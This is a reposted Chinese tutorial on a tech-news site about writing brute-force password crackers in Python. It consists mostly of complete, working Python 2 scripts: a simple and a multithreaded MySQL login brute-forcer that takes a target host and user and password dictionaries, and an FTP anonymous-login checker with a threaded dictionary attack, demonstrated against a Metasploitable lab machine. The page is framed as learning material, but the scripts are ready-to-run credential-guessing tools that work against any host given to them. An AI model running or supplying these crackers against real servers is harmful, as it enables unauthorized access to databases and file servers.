广告
返回顶部
首页 > 资讯 > 后端开发 > Python >Python开发爆破工具
  • 928
分享到

Python开发爆破工具

工具Python 2023-01-30 23:01:37 928人浏览 泡泡鱼

Python 官方文档:入门教程 => 点击学习

摘要

上一篇讲到了如何用python开发字典,而当我们手里有了字典 就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写 接下来我就要一步一步来写爆破工具!   爆破Mysql: 想要爆破mysql目标至少要允许远程连接 我这里没有

上一篇讲到了如何用python开发字典,而当我们手里有了字典

就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写

接下来我就要一步一步来写爆破工具!

 

爆破Mysql:

想要爆破mysql目标至少要允许远程连接

我这里没有开启远程连接,只是爆破本地的Mysql

实际上,如果掌握了如何爆破本地MySQL,那么想要远程爆破MySQL也是很轻松的

 

最基本的实现:

# -*-coding:utf-8 -*-
import pymysql

mysql_username = ('root', 'test', 'admin', 'user')
mysql_passWord = ('', '123456', 'test', 'root', 'admin', 'xuyiqing', 'user')

success = False
host = "127.0.0.1"
port = 3306

for username in mysql_username:
    for password in mysql_password:
        try:
            db = pymysql.connect(host, username, password)
            success = True
            if success:
                print "用户名:" + username + " 密码:" + password + " 破解成功"
        except Exception, e:
            print "用户名:" + username + " 密码:" + password + " 破解失败"
            pass

 

固定好哪些用户名和哪些密码,以及爆破的IP和端口,直接执行即可

 

进阶的MySQL爆破脚本:写的很完整,支持多线程

# -*-coding:utf-8 -*-
"""
MySQL爆破脚本
用法:
python MysqlCrack2.py -H [目标IP] --u [用户字典] --p [密码字典] -P [端口]
"""
import re
import Socket
import optparse
import threading

try:
    import pymysql
except ImportError:
    print "[!] You need to install pymysql module!"
    print "[!] Usage:pip install pymysql"
    exit()

result_user = None
result_pass = None
threads = []


def main():
    """
    处理输入参数
    :return:None
    """
    print "Welcome to MysqlCrack2"
    print "Author: Xuyiqing  Version:1.0"
    parse = optparse.OptionParser(
        'Python %prog -H <target host> --u <users dictionary> --p <password dictionary> -P <port>')
    parse.add_option('-H', dest="target_host", type="string", help='specify the host')
    parse.add_option('--u', dest='user_dic', type='string', help='specify the dictionary for user')
    parse.add_option('--p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
    parse.add_option('-P', dest='port', type='int', help='specify the port')
    (options, args) = parse.parse_args()
    target_host = options.target_host
    user_dic = options.user_dic
    pwd_dic = options.pwd_dic
    port = options.port
    if target_host is not None and re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', target_host):
        mysql_brute(target_host, user_dic, pwd_dic, port)
    else:
        print "[!] Unknown IP\n"
        exit()


def mysql_brute(host, user_dic, pwd_dic, port):
    """
    MySQL暴力破解
    :param host: 主机
    :param user_dic: 用户字典
    :param pwd_dic: 密码字典
    :param port: 端口
    :return: None
    """
    print "[*] Target:" + host
    print "[*] Start cracking"
    userlist = None
    pwdlist = None
    try:
        socket.gethostbyname(host)
    except Exception:
        print '[*] Cannot connect to %s' % host
        exit()
    try:
        userlist = [i.strip('\n') for i in open(user_dic, 'r').readlines()]
        pwdlist = [j.strip('\n') for j in open(pwd_dic, 'r').readlines()]
        print "[*] Number of users:" + str(len(userlist))
        print "[*] Number of passwords:" + str(len(pwdlist))
    except Exception:
        print "[!] The path of the dictionary file is incorrect"
        exit()
    global threads
    for user in userlist:
        for pwd in pwdlist:
            t = threading.Thread(target=mysql_login, args=(host, user, pwd, port))
            t.start()
            threads.append(t)


def mysql_login(host, username, password, port):
    """
    MySQL连接
    :param host:主机
    :param username:用户名
    :param password: 密码
    :param port: 端口
    :return: None
    """
    try:
        db = pymysql.Connect(host=host, port=port, user=username, passwd=password)
        print "[+] Success! User:" + username + " Password:" + password + "\n"
        global result_user, result_pass
        result_user = username
        result_pass = password
        db.close()
        exit()
    except Exception:
        print "[-] Fail! User:" + username + " Password:" + password + "\n"


if __name__ == '__main__':
    main()
    for thread in threads:
        thread.join()
    if result_user is not None and result_pass is not None:
        print "[+] Result: %s - %s" % (result_user, result_pass)
    if result_user is None and result_pass is None:
        print "[+] Crack Fail"

 

 

 

FTP破解工具开发

实际去安装一些FTP软件比较困难,我这里就用Metasploitable linux

启动后默认开启FTP服务,我这里的IP是192.168.232.129

Metaploitable Linux的FTP可以匿名登陆,并且已知一个账号密码为:msfadmin-msfadmin

# -*-coding:utf-8 -*-
import optparse
import ftplib
import threading
import socket


def anony_login(host):
    """
    FTP匿名登陆
    :param host:主机
    :return: None
    """
    try:
        ftp = ftplib.FTP(host)
        ftp.connect(host, 21, timeout=10)
        ftp.login('anonymous', 'test@qq.com')
        ftp.retrlines('LIST')
        ftp.quit()
        print "\n[*]" + str(host) + " FTP Anonymous Login Success"
    except Exception:
        print "\n[-]" + str(host) + " FTP Anonymous Login Fail"


def ftp_login(host, username, password):
    """
    尝试用户密码登陆FTP
    :param host:主机
    :param username:用户名
    :param password:密码
    :return:None
    """
    try:
        print "[-] Trying: " + username + "-" + password + "\n"
        ftp = ftplib.FTP(host)
        ftp.connect(host, 21, timeout=10)
        ftp.login(username, password)
        ftp.retrlines("LIST")
        ftp.quit()
        print "Success! " + username + " - " + password
    except ftplib.all_errors:
        pass


def brute_force(host, users_file, pwds_file):
    """
    暴力破解
    :param host: 主机
    :param users_file:用户字典
    :param pwds_file: 密码字典
    :return: None
    """
    users_f = open(users_file, 'r')
    pwds_f = open(pwds_file, 'r')
    for user in users_f.readlines():
        pwds_f.seek(0)
        for password in pwds_f.readlines():
            username = user.strip('\n')
            password = password.strip('\n')
            t = threading.Thread(target=ftp_login, args=(host, username, password))
            t.start()


def main():
    """
    主函数,处理输入参数
    :return:None
    """
    parser = optparse.OptionParser('usage%prog -H <target host> -u <users dictionary> -p <password dictionary>')
    parser.add_option('-H', dest='target_host', type='string', help='specify the host')
    parser.add_option('-u', dest='user_dic', type='string', help='specify the dictionary for user')
    parser.add_option('-p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
    (options, args) = parser.parse_args()
    host = options.target_host
    user_dic = options.user_dic
    pwd_dic = options.pwd_dic
    try:
        socket.gethostbyname(host)
    except Exception:
        print '[*] Cannot Resolve %s Unknown host' % host
        exit()
    anony_login(host)
    brute_force(host, user_dic, pwd_dic)


if __name__ == '__main__':
    main()

 

使用的话,需要两个字典:用户字典和密码字典,我随便加入一些东西

username.txt

root
user
admin
msfadmin
manager

 

password.txt

pwd
password
userpass
msfadmin
manager
123456

 

实际使用:-H 输入IP -u 用户名字典 -p 密码字典

 

结果:上边已经找到匿名登陆,还有下图的msfadmin,说明破解成功了

--结束END--

本文标题: Python开发爆破工具

本文链接: https://www.lsjlt.com/news/180918.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Python开发爆破工具
    上一篇讲到了如何用Python开发字典,而当我们手里有了字典 就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写 接下来我就要一步一步来写爆破工具!   爆破MySQL: 想要爆破MySQL目标至少要允许远程连接 我这里没有...
    99+
    2023-01-30
    工具 Python
  • SQL Server密码爆破工具SQLdict
    SQL Server密码爆破工具SQLdict...
    99+
    2023-06-04
  • Oracle SID爆破工具SidGuess有什么用
    小编给大家分享一下Oracle SID爆破工具SidGuess有什么用,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Oracle SID爆破工具SidGuess在...
    99+
    2023-06-04
  • 网站模糊测试爆破工具Wfuzz有什么用
    这篇文章给大家分享的是有关网站模糊测试爆破工具Wfuzz有什么用的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。网站模糊测试爆破工具Wfuzz模糊测试爆破使用模糊测试的方式对HTTP请求中的各个参数同时进行猜测爆破...
    99+
    2023-06-04
  • python开发工具
    工欲善其事必先利其器-简单几步打造顺手的python开发工具(windows,Linux多版本) 初学一门语言,一般来说第一道门槛是开发工具的选择,以及配置,用记事本写代码写写helloworld尚堪一用,但是一旦需要进行稍微规模大一点...
    99+
    2023-01-31
    开发工具 python
  • python密码破解工具patator
    kali下默认安装patator,一款python的暴力破解工具,支持多种协议破解,速度快,使用方便。https://github.com/lanjelot/patator...
    99+
    2023-01-31
    密码破解 工具 python
  • Python开发工具有哪些
    这篇文章主要介绍“Python开发工具有哪些”,在日常操作中,相信很多人在Python开发工具有哪些问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Python开发工具有哪些”的疑惑有所帮助!接下来,请跟着小编...
    99+
    2023-06-17
  • python开发工具pycharm快速入
    本教程是关于什么的本教程旨在引导您完成创建,运行和调试一个简单的Python项目,使用PyCharm一步一步 - Python的IDE有一整套完整的生产性的开发工具。本教程不是关于哪些的Python编程超出了本教程的范围。要了解更多关于Py...
    99+
    2023-01-31
    开发工具 快速 python
  • 【Linux】Linux开发工具(一)——vim工具
     作者:一个喜欢猫咪的的程序员  专栏:《Linux》 喜欢的话:世间因为少年的挺身而出,而更加瑰丽。                                  ——《人民日报》 目录  1.什么是vim 1.1什...
    99+
    2023-09-04
    linux 运维 服务器
  • Python开发建议:如何高效利用Python开发工具
    Python是一种强大的编程语言,被广泛应用于各个领域的软件开发中。无论是大型项目还是小型工具,Python都能提供高效的开发方式和强大的工具支持。在本篇文章中,我将探讨一些如何高效利用Python开发工具的建议。首先,选择合适的集成开发环...
    99+
    2023-11-23
    高效开发 开发建议 关键词:Python工具
  • python及其开发工具的安装
    python 支持在多平台上安装与运行,我们一般从python的官方网站下载其安装包,比如Windows下是exe文件,Linux下则是二进制文件。这里我们安装的是python3.6版本的,安装完如下图所示: 1、Windows下的安装我...
    99+
    2023-01-31
    开发工具 python
  • python开发工具pycharm快速入门
    本教程是关于什么的本教程旨在引导您完成创建,运行和调试一个简单的Python项目,使用PyCharm一步一步 - Python的IDE有一整套完整的生产性的开发工具。本教程不是关于哪些的Python编程超出了本教程的范围。要了解更多关于Py...
    99+
    2023-06-02
  • sublime Text 开发工具
    Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。,具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Subli...
    99+
    2023-01-31
    开发工具 sublime Text
  • Java 开发工具—IDEA
    1、IDEA概述 IDEA全称IntelliJ IDEA,是用于Java语言开发的集成环境,它是业界公认的目前用于Java程序开发最好的工具。 集成环境:把代码编写,编译,执行,调试等多种功能综合到一起的开发工具。  2、IDEA下...
    99+
    2023-09-30
    java intellij-idea 开发语言
  • python slack桌面自动化开发工具
    目录背景Slack 客户端自动化 - 抓取联系人列表Slack 客户端自动化 - 抓取联系人详细信息开源代码背景 Slack 自动化示例 - 从一个渠道抓取联系人列表 最近,我需要监...
    99+
    2022-11-11
  • Python 开发工具集:关于文档、测
    Python已经演化出了一个广泛的生态系统,该生态系统能够让Python程序员的生活变得更加简单,减少他们重复造轮的工作。同样的理念也适用于工具开发者的工作,即便他们开发出的工具并没有出现在最终的程序中。本文将介绍Python程序员必知必...
    99+
    2023-01-31
    开发工具 文档 Python
  • 常见的Python开发工具有哪些
    本文小编为大家详细介绍“常见的Python开发工具有哪些”,内容详细,步骤清晰,细节处理妥当,希望这篇“常见的Python开发工具有哪些”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。Python的应用实用性极高,...
    99+
    2023-06-27
  • Linux开发工具和Windows开发工具对比的示例分析
    这篇文章给大家分享的是有关Linux开发工具和Windows开发工具对比的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。Linux开发工具就C++开发工具而言,与Windows下微软(VC, VS2005...
    99+
    2023-06-16
  • Android开发必备工具
    工欲善其事,必先利其器,在Android项目的开发中,借助工具能使开发效率大幅提升,下面分享我经常使用的工具,欢迎各位同学补充。 1.Android Studio Android程序员的吃饭工具,可以说现在绝大部分的安卓项目都是跑在...
    99+
    2022-06-06
    工具 android开发 Android
  • Visual C++ 6.0开发工具
    本篇文章为大家展示了Visual C++ 6.0开发工具,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Visual C++Visual C++ 6.0Visual C++Visual C++是微软公...
    99+
    2023-06-17
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作